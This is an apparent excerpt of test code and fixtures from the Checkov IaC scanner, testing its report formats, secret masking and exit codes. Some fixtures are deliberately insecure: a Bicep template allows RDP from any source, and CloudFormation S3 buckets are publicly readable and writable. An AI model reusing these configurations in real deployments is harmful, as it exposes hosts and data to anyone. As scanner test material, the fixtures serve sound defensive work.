rest", check_result={"result": CheckResult.FAILED}, code_block=[], file_path="./main.tf", file_line_range=[7, 10], resource="aws_elasticsearch_domain.enabled", evaluations=None, check_class="", file_abs_path=".", bc_check_id="BC_AWS_ELASTICSEARCH_3", ) record.guideline = "Some guideline text" # when vulnerability = gitlab_sast._create_iac_vulnerability(record=record) # then # vulnerability["identifiers"][0]["url"] shouldn't exist assert vulnerability["identifiers"] == [{"name": "CKV_AWS_5", "type": "checkov", "value": "CKV_AWS_5"}] # vulnerability["links"] shouldn't exist assert "links" not in vulnerability ================================================ FILE: tests/common/output/test_junit_report.py ================================================ import argparse import unittest import xml import xml.etree.ElementTree as ET from pathlib import Path from checkov.common.models.enums import CheckResult from checkov.common.output.report import Report from checkov.common.output.record import Record from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner as TerrafomrRunner class TestJunitReport(unittest.TestCase): def test_valid_passing_valid_testcases(self): record1 = Record( check_id="CKV_AWS_21", check_name="Some Check", check_result={"result": CheckResult.FAILED}, code_block=[], file_path="./s3.tf", file_line_range=[1, 3], resource="aws_s3_bucket.operations", evaluations=None, check_class="", file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record2 = Record( check_id="CKV_AWS_3", check_name="Ensure all data stored in the EBS is securely encrypted", check_result={"result": CheckResult.FAILED}, code_block=[], file_path="./ec2.tf", file_line_range=[1, 3], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class="", file_abs_path=",.", entity_tags={"tag1": "value1"}, ) r = Report("terraform") r.add_record(record=record1) r.add_record(record=record2) ts = r.get_test_suite() xml_string = r.get_junit_xml_string([ts]) root = ET.fromstring(xml_string) self.assertEqual(root.attrib["errors"], "0") def test_get_junit_xml_string_with_terraform(self): # given test_file = Path(__file__).parent / "fixtures/main.tf" checks = ["CKV_AWS_18", "CKV_AWS_19", "CKV_AWS_21"] # 1 pass, 1 fail, 1 skip config = argparse.Namespace(file="fixtures/main.tf", framework=["terraform"]) report = TerrafomrRunner().run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks) ) # remove guideline from failed checks, if they were fetched before for check in report.failed_checks: check.guideline = None # then properties = Report.create_test_suite_properties_block(config=config) test_suite = report.get_test_suite(properties=properties) xml_string = Report.get_junit_xml_string([test_suite]) # then assert ( xml.dom.minidom.parseString(xml_string).toprettyxml() == xml.dom.minidom.parseString( "".join( [ '\n', '\n', '\t\n', "\t\t\n", '\t\t\t\n', '\t\t\t\n', "\t\t\n", '\t\t\n', '\t\t\t\n', "Resource: aws_s3_bucket.destination\n", "File: /main.tf: 1-8\n", "Guideline: None\n", "\n", "\t\t1 | resource "aws_s3_bucket" "destination" {\n", "\t\t2 | # checkov:skip=CKV_AWS_19: no encryption needed\n", "\t\t3 | bucket = "tf-test-bucket-destination-12345"\n", "\t\t4 | acl = var.acl\n", "\t\t5 | versioning {\n", "\t\t6 | enabled = var.is_enabled\n", "\t\t7 | }\n", "\t\t8 | }\n", "\t\t\n", '\t\t\n', '\t\t\t\n', "\t\t\n", "\t\n", "\n", ] ) ).toprettyxml() ) def test_sensitive_properties_excluded_from_junit_xml(self): # given test_file = Path(__file__).parent / "fixtures/main.tf" checks = ["CKV_AWS_18"] # Just need one check for this test # Create config with a sensitive property (bc_api_key) config = argparse.Namespace( file="fixtures/main.tf", framework=["terraform"], bc_api_key="secret_api_key_123", # checkov:skip=CKV_SECRET_6 test secret # This should be excluded non_sensitive_prop="regular_value" # This should be included ) report = TerrafomrRunner().run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks) ) properties = Report.create_test_suite_properties_block(config=config) test_suite = report.get_test_suite(properties=properties) xml_string = Report.get_junit_xml_string([test_suite]) root = ET.fromstring(xml_string) testsuite = root.find('testsuite') props = testsuite.find('properties') # Check that sensitive properties are not included property_names = [prop.attrib['name'] for prop in props.findall('property')] self.assertIn('file', property_names, "Expected 'file' property to be present") self.assertIn('framework', property_names, "Expected 'framework' property to be present") self.assertIn('non_sensitive_prop', property_names, "Expected 'non_sensitive_prop' property to be present") # Most important assertions - check that sensitive properties are excluded self.assertNotIn('bc_api_key', property_names, "Sensitive property 'bc_api_key' should be excluded") # Double check the XML string itself doesn't contain the sensitive values self.assertNotIn('secret_api_key_123', xml_string, "API key value should not appear in XML") if __name__ == "__main__": unittest.main() ================================================ FILE: tests/common/output/test_record.py ================================================ import pytest from checkov.common.output.record import Record @pytest.mark.parametrize( "input_path,expected_path", [ ("s3\\main.tf", "/s3/main.tf"), ("s3/main.tf", "/s3/main.tf"), ("/abs_path/to/s3/main.tf", "/abs_path/to/s3/main.tf"), ("../../s3/main.tf", "/s3/main.tf"), ], ids=["windows", "rel_path", "abs_path", "recursive_rel_path"], ) def test_determine_repo_file_path(input_path: str, expected_path: str): assert Record._determine_repo_file_path(input_path) == expected_path def test_from_reduced_json(json_reduced_check): # Act record = Record.from_reduced_json(json_reduced_check) # Assert assert record.check_id == 'CKV_GHA_1' assert record.check_name == 'Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\u0027t true on environment variables' assert record.check_result == { "result": "PASSED", "results_configuration": {} } assert record.resource == 'jobs(container-test-job)' assert record.file_path == '/.github/workflows/image_no_violation.yml' assert record.file_line_range == [7, 7] assert record.file_abs_path == '/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml' assert record.code_block == [ [ 7, " runs-on: ubuntu-latest\n" ], ] assert record.bc_check_id == 'BC_REPO_GITHUB_ACTION_1' ================================================ FILE: tests/common/output/test_report.py ================================================ from checkov.common.output.report import Report def test_from_reduced_json(json_reduced_report): # Act report = Report.from_reduced_json(json_reduced_report, 'mock_check_type') # Assert assert len(report.failed_checks) == 1 assert len(report.passed_checks) == 1 failed_check = report.failed_checks[0] passed_check = report.passed_checks[0] assert failed_check.check_id == 'CKV_GHA_2' assert failed_check.check_name == 'Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\u0027t true on environment variables' assert failed_check.check_result == { "result": "FAILED", "results_configuration": {} } assert failed_check.resource == 'jobs(container-test-job)' assert failed_check.file_path == '/.github/workflows/image_no_violation.yml' assert failed_check.file_line_range == [7, 7] assert failed_check.file_abs_path == '/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml' assert failed_check.code_block == [ [ 7, " runs-on: ubuntu-latest\n" ], ] assert failed_check.bc_check_id == 'BC_REPO_GITHUB_ACTION_1' assert passed_check.check_id == 'CKV_GHA_1' assert passed_check.check_name == 'Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\u0027t true on environment variables' assert passed_check.check_result == { "result": "PASSED", "results_configuration": {} } assert passed_check.resource == 'jobs(container-test-job)' assert passed_check.file_path == '/.github/workflows/image_no_violation.yml' assert passed_check.file_line_range == [7, 7] assert passed_check.file_abs_path == '/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml' assert passed_check.code_block == [ [ 7, " runs-on: ubuntu-latest\n" ], ] assert passed_check.bc_check_id == 'BC_REPO_GITHUB_ACTION_1' def test_get_plan_resource_raw_id_1(): resource_id = Report.get_plan_resource_raw_id("module.vnet[0].azurerm_subnet.subnet_for_each['snet-commonservices']") assert resource_id == 'azurerm_subnet.subnet_for_each' def test_get_plan_resource_raw_id_2(): resource_id = Report.get_plan_resource_raw_id("module.vnet[0].azurerm_subnet.subnet_for_each[1]") assert resource_id == 'azurerm_subnet.subnet_for_each' def test_get_plan_resource_raw_id_3(): resource_id = Report.get_plan_resource_raw_id("module.vnet[0].azurerm_subnet.subnet_for_each") assert resource_id == 'azurerm_subnet.subnet_for_each' def test_get_plan_resource_raw_id_4(): resource_id = Report.get_plan_resource_raw_id("module.vnet.azurerm_subnet.subnet_for_each") assert resource_id == 'azurerm_subnet.subnet_for_each' def test_get_plan_resource_raw_id_5(): resource_id = Report.get_plan_resource_raw_id("aws_route53_zone.example[\"example.com\"]") assert resource_id == 'aws_route53_zone.example' def test_get_plan_resource_raw_id_6(): resource_id = Report.get_plan_resource_raw_id("module.sg[\"bad_example\"].aws_security_group.bad") assert resource_id == 'aws_security_group.bad' def test_get_plan_resource_raw_id_7(): resource_id = Report.get_plan_resource_raw_id("type.name") assert resource_id == 'type.name' ================================================ FILE: tests/common/output/test_sarif_report.py ================================================ from __future__ import annotations import unittest import json from typing import Any import jsonschema import urllib.request from checkov.common.models.enums import CheckResult from checkov.common.output.report import Report from checkov.common.output.record import Record from checkov.common.output.sarif import Sarif class TestSarifReport(unittest.TestCase): def test_valid_passing_valid_testcases(self): # given record1 = get_ckv_aws_21_record() record1.set_guideline("https://docs.bridgecrew.io/docs/s3_16-enable-versioning") record2 = Record( check_id="CKV_AWS_3", check_name="Ensure all data stored in the EBS is securely encrypted", check_result={"result": CheckResult.FAILED}, code_block=[ (5, 'resource aws_ebs_volume "web_host_storage" {\n'), (6, ' availability_zone = "us-west-2a"\n'), (7, "}\n"), ], file_path="./ec2.tf", file_line_range=[5, 7], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path="/path to/ec2.tf", # spaces should be handled correctly entity_tags={"tag1": "value1"}, ) record2.set_guideline("https://docs.bridgecrew.io/docs/general_7") r = Report("terraform") r.add_record(record=record1) r.add_record(record=record2) # when sarif = Sarif(reports=[r], tool="") # then self.assertEqual( None, jsonschema.validate(instance=sarif.json, schema=get_sarif_schema()), ) sarif.json["runs"][0]["tool"]["driver"]["version"] = "9.9.9" # override the version self.assertDictEqual( sarif.json, { "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json", "version": "2.1.0", "runs": [ { "tool": { "driver": { "name": "Bridgecrew", "version": "9.9.9", "informationUri": "https://docs.bridgecrew.io", "rules": [ { "id": "CKV_AWS_21", "name": "Some Check", "shortDescription": {"text": "Some Check"}, "fullDescription": {"text": "Some Check"}, "help": {"text": "Some Check\nResource: aws_s3_bucket.operations"}, "helpUri": "https://docs.bridgecrew.io/docs/s3_16-enable-versioning", "defaultConfiguration": {"level": "error"}, }, { "id": "CKV_AWS_3", "name": "Ensure all data stored in the EBS is securely encrypted", "shortDescription": { "text": "Ensure all data stored in the EBS is securely encrypted" }, "fullDescription": { "text": "Ensure all data stored in the EBS is securely encrypted" }, "help": { "text": "Ensure all data stored in the EBS is securely encrypted\nResource: aws_ebs_volume.web_host_storage" }, "helpUri": "https://docs.bridgecrew.io/docs/general_7", "defaultConfiguration": {"level": "error"}, }, ], "organization": "bridgecrew", } }, "results": [ { "ruleId": "CKV_AWS_21", "ruleIndex": 0, "level": "error", "attachments": [], "message": {"text": "Some Check"}, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": "s3.tf"}, "region": { "startLine": 1, "endLine": 3, "snippet": { "text": 'resource aws_s3_bucket "operations" {\n bucket = "example"\n}\n' }, }, } } ], }, { "ruleId": "CKV_AWS_3", "ruleIndex": 1, "level": "error", "attachments": [], "message": {"text": "Ensure all data stored in the EBS is securely encrypted"}, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": "path%20to/ec2.tf"}, "region": { "startLine": 5, "endLine": 7, "snippet": { "text": 'resource aws_ebs_volume "web_host_storage" {\n availability_zone = "us-west-2a"\n}\n' }, }, } } ], }, ], } ], }, ) def test_multiple_instances_of_same_rule_do_not_break_schema(self): record1 = get_ckv_aws_21_record() record1.set_guideline("") record2 = Record( check_id="CKV_AWS_111", check_name="Ensure IAM policies does not allow write access without constraints", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./ec2.tf", file_line_range=[22, 25], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record2.set_guideline("") record3 = Record( check_id="CKV2_AWS_3", check_name="Ensure GuardDuty is enabled to specific org/region", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./ec2.tf", file_line_range=[1, 3], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record3.set_guideline("") record4 = Record( check_id="CKV2_AWS_3", check_name="Ensure GuardDuty is enabled to specific org/region", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./org.tf", file_line_range=[7, 10], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record4.set_guideline("") record5 = Record( check_id="CKV2_AWS_3", check_name="Ensure GuardDuty is enabled to specific org/region", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./org.tf", file_line_range=[15, 20], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record5.set_guideline("") record6 = Record( check_id="CKV2_AWS_3", check_name="Ensure GuardDuty is enabled to specific org/region", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./org.tf", file_line_range=[25, 28], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record6.set_guideline("") record7 = Record( check_id="CKV_AWS_107", check_name="Ensure IAM policies does not allow credentials exposure", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./ec2.tf", file_line_range=[30, 35], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record7.set_guideline("") record8 = Record( check_id="CKV_AWS_110", check_name="Ensure IAM policies does not allow privilege escalation", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./ec2.tf", file_line_range=[30, 35], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record8.set_guideline("") record9 = Record( check_id="CKV_AWS_110", check_name="Ensure IAM policies does not allow privilege escalation", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./ec2.tf", file_line_range=[38, 40], resource="aws_ebs_volume.web_host_storage", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record9.set_guideline("") # Record with non-empty guideline record10 = Record( check_id="CKV_AWS_23", check_name="Some Check", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./s3.tf", file_line_range=[1, 3], resource="aws_s3_bucket.operations", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) record10.set_guideline("https://example.com") # Record without guideline record11 = Record( check_id="CKV_AWS_24", check_name="Some Check", check_result={"result": CheckResult.FAILED}, code_block=[(1, "some code")], file_path="./s3.tf", file_line_range=[1, 3], resource="aws_s3_bucket.operations", evaluations=None, check_class=None, file_abs_path=",.", entity_tags={"tag1": "value1"}, ) # No guideline here r = Report("terraform") r.add_record(record=record1) r.add_record(record=record2) r.add_record(record=record3) r.add_record(record=record4) r.add_record(record=record5) r.add_record(record=record6) r.add_record(record=record7) r.add_record(record=record8) r.add_record(record=record9) r.add_record(record=record10) r.add_record(record=record11) sarif = Sarif(reports=[r], tool="") self.assertEqual( None, jsonschema.validate(instance=sarif.json, schema=get_sarif_schema()), ) self.assertFalse(are_duplicates_in_sarif_rules(sarif.json)) self.assertTrue(are_rule_indexes_correct_in_results(sarif.json)) self.assertTrue(are_rules_without_help_uri_correct(sarif.json)) def test_non_url_guideline_link(self): # given record1 = get_ckv_aws_21_record() record1.set_guideline("some random text") r = Report("terraform") r.add_record(record=record1) # when sarif = Sarif(reports=[r], tool="") # then self.assertEqual( None, jsonschema.validate(instance=sarif.json, schema=get_sarif_schema()), ) sarif.json["runs"][0]["tool"]["driver"]["version"] = "9.9.9" # override the version # sarif.json["runs"][0]["tool"]["driver"]["rules"][0] shouldn't include key "helpUri" self.assertDictEqual( sarif.json, { "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json", "version": "2.1.0", "runs": [ { "tool": { "driver": { "name": "Bridgecrew", "version": "9.9.9", "informationUri": "https://docs.bridgecrew.io", "rules": [ { "id": "CKV_AWS_21", "name": "Some Check", "shortDescription": {"text": "Some Check"}, "fullDescription": {"text": "Some Check"}, "help": {"text": "Some Check\nResource: aws_s3_bucket.operations"}, "defaultConfiguration": {"level": "error"}, } ], "organization": "bridgecrew", } }, "results": [ { "ruleId": "CKV_AWS_21", "ruleIndex": 0, "level": "error", "attachments": [], "message": {"text": "Some Check"}, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": "s3.tf"}, "region": { "startLine": 1, "endLine": 3, "snippet": { "text": 'resource aws_s3_bucket "operations" {\n bucket = "example"\n}\n' }, }, } } ], } ], } ], }, ) def get_sarif_schema() -> dict[str, Any]: file_name, headers = urllib.request.urlretrieve( "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json" ) with open(file_name, "r") as file: schema = json.load(file) return schema def get_ckv_aws_21_record() -> Record: return Record( check_id="CKV_AWS_21", check_name="Some Check", check_result={"result": CheckResult.FAILED}, code_block=[ (1, 'resource aws_s3_bucket "operations" {\n'), (2, ' bucket = "example"\n'), (3, "}\n"), ], file_path="./s3.tf", file_line_range=[1, 3], resource="aws_s3_bucket.operations", evaluations=None, check_class=None, file_abs_path="./s3.tf", entity_tags={"tag1": "value1"}, ) def are_duplicates_in_sarif_rules(sarif_json) -> bool: rules = sarif_json["runs"][0]["tool"]["driver"]["rules"] ruleset = set() for rule in rules: ruleset.add(rule["id"]) return len(rules) != len(ruleset) def are_rule_indexes_correct_in_results(sarif_json) -> bool: rules = sarif_json["runs"][0]["tool"]["driver"]["rules"] results = sarif_json["runs"][0]["results"] for rule in rules: for result in results: if result["ruleId"] == rule["id"]: if result["ruleIndex"] != rules.index(rule) or result["ruleIndex"] > len(rules): return False return True def are_rules_without_help_uri_correct(sarif_json) -> bool: rules = sarif_json["runs"][0]["tool"]["driver"]["rules"] results = sarif_json["runs"][0]["results"] for rule in rules: if "helpUri" in rule: if rule["helpUri"] is None or rule["helpUri"] == "": return False return True if __name__ == "__main__": unittest.main() ================================================ FILE: tests/common/output/test_secrets_get_exit_code.py ================================================ import argparse import pytest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.runner_registry import RunnerRegistry @pytest.mark.parametrize( "soft_fail,soft_fail_checks,hard_fail_checks,expected_exit_code", [ (True, [], ['Valid'], 0), # Soft fail overrides any check-specific definition (True, ['Invalid'], ['Valid'], 0), # Soft fail overrides any check-specific definition (False, [], ['Valid'], 1), # Hard fail on valid (False, ['Valid'], ['Valid'], 1), # Hard fail check wins same soft fail check (False, [], ['Invalid'], 1), # Hard fail on invalid (False, [], ['Unknown'], 1), # Hard fail on unknown (False, ['Invalid', 'Valid', 'Unknown'], [], 0), # Implicit soft fail on all statuses (True, [], ['Invalid', 'Valid', 'Unknown'], 0), # Soft fail wins Implicit hard fail on all statuses (False, [], ['Invalid', 'Valid', 'Unknown'], 1), # Implicit hard fail on all statuses (False, [], [], 1), # default (True, [], [], 0) # soft fail ], ) def test_secrets_get_exit_code(secrets_report, soft_fail, soft_fail_checks, hard_fail_checks, expected_exit_code) -> None: exit_code_thresholds = {'soft_fail': soft_fail, 'soft_fail_checks': soft_fail_checks, 'soft_fail_threshold': None, 'hard_fail_checks': hard_fail_checks, 'hard_fail_threshold': None} assert secrets_report.get_exit_code(exit_code_thresholds) == expected_exit_code @pytest.mark.parametrize( "soft_fail,soft_fail_on,hard_fail_on,expected_soft_fail_checks,expected_hard_fail_checks", [ (False, None, None, [], []), # default (False, 'invalid', None, ['Invalid'], []), # assigning correct casing (False, 'invalid,valid,unknown', 'invalid,valid,unknown', ['Invalid', 'Valid', 'Unknown'], ['Invalid', 'Valid', 'Unknown']) # assigning correct casing ] ) def test_secrets_get_fail_threshold(soft_fail, soft_fail_on, hard_fail_on, expected_soft_fail_checks, expected_hard_fail_checks) -> None: config = argparse.Namespace( soft_fail=soft_fail, soft_fail_on=soft_fail_on, hard_fail_on=hard_fail_on, use_enforcement_rules=False ) expected = { 'soft_fail': soft_fail, 'soft_fail_checks': expected_soft_fail_checks, 'soft_fail_threshold': None, 'hard_fail_checks': expected_hard_fail_checks, 'hard_fail_threshold': None } assert RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.SECRETS) == expected ================================================ FILE: tests/common/output/test_spdx.py ================================================ from datetime import datetime, timezone from time_machine import travel from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.report import Report from checkov.common.output.spdx import SPDX from checkov.common.sca.output import create_report_cve_record @travel(datetime(2022, 12, 24, tzinfo=timezone.utc)) def test_sca_package_output(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "moderate", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", } record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses="OSI_BDS", package={"package_registry": "https://registry.npmjs.org/", "is_private_registry": False}, ) # also add a BC_VUL_2 record bc_record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses="OSI_BDS", package={"package_registry": "https://registry.npmjs.org/", "is_private_registry": False}, ) bc_record.check_id = "BC_VUL_2" report = Report(CheckType.SCA_PACKAGE) report.add_resource(record.resource) report.add_record(record) report.add_record(bc_record) report.extra_resources.add( ExtraResource( file_abs_path=file_abs_path, file_path=f"/{rootless_file_path}", resource=f"{rootless_file_path}.testpkg", vulnerability_details={"package_name": "testpkg", "package_version": "1.1.1", "licenses": "MIT"}, ) ) # when spdx = SPDX(repo_id="example", reports=[report]) # override dynamic data spdx.document.creation_info.document_namespace = "https://spdx.org/spdxdocs/checkov-sbom-9.9.9" # then output = spdx.get_tag_value_output() # remove dynamic data assert output == "".join( [ "## Document Information\n", "SPDXVersion: SPDX-2.3\n", "DataLicense: CC0-1.0\n", "SPDXID: SPDXRef-DOCUMENT\n", "DocumentName: checkov-sbom\n", "DocumentNamespace: https://spdx.org/spdxdocs/checkov-sbom-9.9.9\n", "\n", "## Creation Information\n", "Creator: Tool: checkov\n", "Creator: Organization: bridgecrew (meet@bridgecrew.io)\n", "Created: 2022-12-24T00:00:00Z\n", "\n", "## Package Information\n", "PackageName: django\n", "SPDXID: SPDXRef-django\n", "PackageVersion: 1.2\n", "PackageFileName: /requirements.txt\n", "PackageDownloadLocation: NONE\n", "FilesAnalyzed: true\n", "PackageLicenseInfoFromFiles: OSI_BDS\n", "\n", "## Package Information\n", "PackageName: testpkg\n", "SPDXID: SPDXRef-testpkg\n", "PackageVersion: 1.1.1\n", "PackageFileName: /requirements.txt\n", "PackageDownloadLocation: NONE\n", "FilesAnalyzed: true\n", "PackageLicenseInfoFromFiles: MIT\n", "\n", "\n", ] ) ================================================ FILE: tests/common/resource_attr_to_omit_configs/combined.yml ================================================ mask: - aws_db_instance:storage_container_path - key2:storage_container_path - key3:admin_password - key4:admin_password,1 - key5:plaintext - plaintext - key3:blabla - key4:blabla2,1,2 - key5:admin_password - key6:admin_password - key7:plaintext ================================================ FILE: tests/common/resource_attr_to_omit_configs/duplicated_key.yml ================================================ mask: - value - azurerm_key_vault_secret:value ================================================ FILE: tests/common/resource_attr_to_omit_configs/first.yml ================================================ mask: - aws_db_instance:storage_container_path - key2:storage_container_path - key3:admin_password - key4:admin_password,1 - key5:plaintext - plaintext ================================================ FILE: tests/common/resource_attr_to_omit_configs/multiple_keys.yml ================================================ mask: - value - azurerm_key_vault_secret:version ================================================ FILE: tests/common/resource_attr_to_omit_configs/real_keys.yml ================================================ mask: - azurerm_key_vault_secret:value ================================================ FILE: tests/common/resource_attr_to_omit_configs/universal_key.yml ================================================ mask: - value ================================================ FILE: tests/common/runner_registry/__init__.py ================================================ ================================================ FILE: tests/common/runner_registry/example_bicep_with_empty_resources/playground.bicep ================================================ @description('Virtual machine size (has to be at least the size of Standard_A3 to support 2 NICs)') param virtualMachineSize string = 'Standard_DS1_v2' @description('Default Admin username') param adminUsername string @description('Default Admin password') @secure() param adminPassword string @description('Storage Account type for the VM and VM diagnostic storage') @allowed([ 'Standard_LRS' 'Premium_LRS' ]) param storageAccountType string = 'Standard_LRS' @description('Location for all resources.') param location string = resourceGroup().location var virtualMachineName = 'VM-MultiNic' var nic1Name = 'nic-1' var nic2Name = 'nic-2' var virtualNetworkName = 'virtualNetwork' var subnet1Name = 'subnet-1' var subnet2Name = 'subnet-2' var publicIPAddressName = 'publicIp' var diagStorageAccountName = 'diags${uniqueString(resourceGroup().id)}' var networkSecurityGroupName = 'NSG' var networkSecurityGroupName2 = '${subnet2Name}-nsg' // This is the virtual machine that you're building. resource vm 'Microsoft.Compute/virtualMachines@2020-06-01' = { name: virtualMachineName location: location properties: { osProfile: { computerName: virtualMachineName adminUsername: adminUsername adminPassword: adminPassword windowsConfiguration: { provisionVMAgent: true } } hardwareProfile: { vmSize: virtualMachineSize } storageProfile: { imageReference: { publisher: 'MicrosoftWindowsServer' offer: 'WindowsServer' sku: '2019-Datacenter' version: 'latest' } osDisk: { createOption: 'FromImage' } } networkProfile: { networkInterfaces: [ { properties: { primary: true } id: nic1.id } { properties: { primary: false } id: nic2.id } ] } diagnosticsProfile: { bootDiagnostics: { enabled: true storageUri: diagsAccount.properties.primaryEndpoints.blob } } } } resource diagsAccount 'Microsoft.Storage/storageAccounts@2019-06-01' = { // checkov:skip=CKV_AZURE_35: just skip it name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' } // Simple Network Security Group for subnet2 resource nsg2 'Microsoft.Network/networkSecurityGroups@2020-06-01' = { name: networkSecurityGroupName2 location: location } // This will build a Virtual Network. resource vnet 'Microsoft.Network/virtualNetworks@2020-06-01' = { name: virtualNetworkName location: location properties: { addressSpace: { addressPrefixes: [ '10.0.0.0/16' ] } subnets: [ { name: subnet1Name properties: { addressPrefix: '10.0.0.0/24' } } { name: subnet2Name properties: { addressPrefix: '10.0.1.0/24' networkSecurityGroup: { id: nsg2.id } } } ] } } // This will be your Primary NIC resource nic1 'Microsoft.Network/networkInterfaces@2020-06-01' = { name: nic1Name location: location properties: { ipConfigurations: [ { name: 'ipconfig1' properties: { subnet: { id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet1Name) } privateIPAllocationMethod: 'Dynamic' publicIPAddress: { id: pip.id } } } ] networkSecurityGroup: { id: nsg.id } } } // This will be your Secondary NIC resource nic2 'Microsoft.Network/networkInterfaces@2020-06-01' = { name: nic2Name location: location properties: { ipConfigurations: [ { name: 'ipconfig1' properties: { subnet: { id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet2Name) } privateIPAllocationMethod: 'Dynamic' } } ] } } // Public IP for your Primary NIC resource pip 'Microsoft.Network/publicIPAddresses@2020-06-01' = { name: publicIPAddressName location: location properties: { publicIPAllocationMethod: 'Dynamic' } } // Network Security Group (NSG) for your Primary NIC resource nsg 'Microsoft.Network/networkSecurityGroups@2020-06-01' = { name: networkSecurityGroupName location: location properties: { securityRules: [ { name: 'default-allow-rdp' properties: { priority: 1000 sourceAddressPrefix: '*' protocol: 'Tcp' destinationPortRange: '3389' access: 'Allow' direction: 'Inbound' sourcePortRange: '*' destinationAddressPrefix: '*' } } ] } } ================================================ FILE: tests/common/runner_registry/example_empty_tf/example_empty_file.tf ================================================ ================================================ FILE: tests/common/runner_registry/example_empty_yaml/example_empty_file.yaml ================================================ ================================================ FILE: tests/common/runner_registry/example_multi_iac/cfn/ExampleS3.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: S3Bucket: Type: AWS::S3::Bucket Properties: AccessControl: PublicRead ServerSideEncryptionRule: ServerSideEncryptionByDefault: KMSMasterKeyID: String SSEAlgorithm: String WebsiteConfiguration: IndexDocument: index.html ErrorDocument: error.html DeletionPolicy: Retain S3Bucket2: Type: AWS::S3::Bucket Properties: AccessControl: PublicReadWrite VersioningConfiguration: Status: Enabled ServerSideEncryptionRule: ServerSideEncryptionByDefault: SSEAlgorithm: AWS256 LoggingConfiguration: DestinationBucketName: String LogFilePrefix: String WebsiteConfiguration: IndexDocument: index.html ErrorDocument: error.html DeletionPolicy: Retain S3Bucket3: Type: AWS::S3::Bucket Properties: AccessControl: Private VersioningConfiguration: Status: Suspended LoggingConfiguration: DestinationBucketName: "String" LogFilePrefix: "String" WebsiteConfiguration: IndexDocument: index.html ErrorDocument: error.html DeletionPolicy: Retain BucketPolicy: Type: AWS::S3::BucketPolicy Properties: PolicyDocument: Id: MyPolicy Version: 2012-10-17 Statement: - Sid: PublicReadForGetBucketObjects Effect: Allow Principal: '*' Action: 's3:GetObject' Resource: !Join - '' - - 'arn:aws:s3:::' - !Ref S3Bucket - /* Bucket: !Ref S3Bucket Outputs: WebsiteURL: Value: !GetAtt - S3Bucket - WebsiteURL Description: URL for website hosted on S3 S3BucketSecureURL: Value: !Join - '' - - 'https://' 